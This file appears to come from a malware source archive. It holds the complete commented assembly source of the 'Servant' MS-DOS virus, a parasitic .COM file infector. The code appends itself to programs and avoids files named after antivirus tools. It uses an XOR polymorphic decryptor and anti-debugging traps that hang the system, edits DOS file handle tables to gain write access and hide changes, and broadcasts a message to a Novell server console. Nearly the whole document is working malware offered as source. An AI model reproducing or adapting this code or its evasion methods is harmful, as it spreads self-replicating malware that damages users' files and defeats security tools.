MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.servant.asm
2021-01-12 17:58:25 -06:00

295 lines
14 KiB
NASM

;
; Servant Virus by John Tardy / TridenT
;
; Virus Name: Servant
; Aliases:
; V Status: Released
; Discovery: Not (yet)
; Symptoms: .COM growth, message on Novell File server
; Origin: The Netherlands
; Eff Length: 444 Bytes
; Type Code: PNC - Parasitic Non-Resident .COM Infector
; Detection Method:
; Removal Instructions: Delete infected files
;
; General Comments:
; The Servant virus is not yet submitted to any antiviral authority. It
; is from The Netherlands. Servant is a non-resident infector of .COM
; files, but a program name beginning with CA, VA, GU, CO, 4D, VS or
; TB will not be infected. Servant infected programs will have a file
; length increase of 444 Bytes. The virus will be located at the end
; of the infected file. There will be no change in the file's date and
; time in a DOS directory listing.
Version Equ 1 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ah,B Ds:[046ch] ;
Mov Ds,Cs ; If Ah is not zero, goto
Cmp Ah,0 ; GenKey.
Jne GenKey ;
Lea Si,NovMsg[Bp] ; This function will send a
Lea Di,EndOfVir[Bp] ; message to the Novell
Mov Ah,0e1h ; Server CONSOLE!!!
Int 21h ;
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
Test Ah,4 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Xchg Ah,Al ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
NovMsg Dw FuncLen ; The Novell packet to
Func Db 09h ; send. This sends my name
Db MsgLen ; to the fileserver, making
Msg Db 'John Tardy / TridenT' ; the supervisor hysterical!
MsgLen Equ $-Msg ;
FuncLen Equ $-Func ;
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $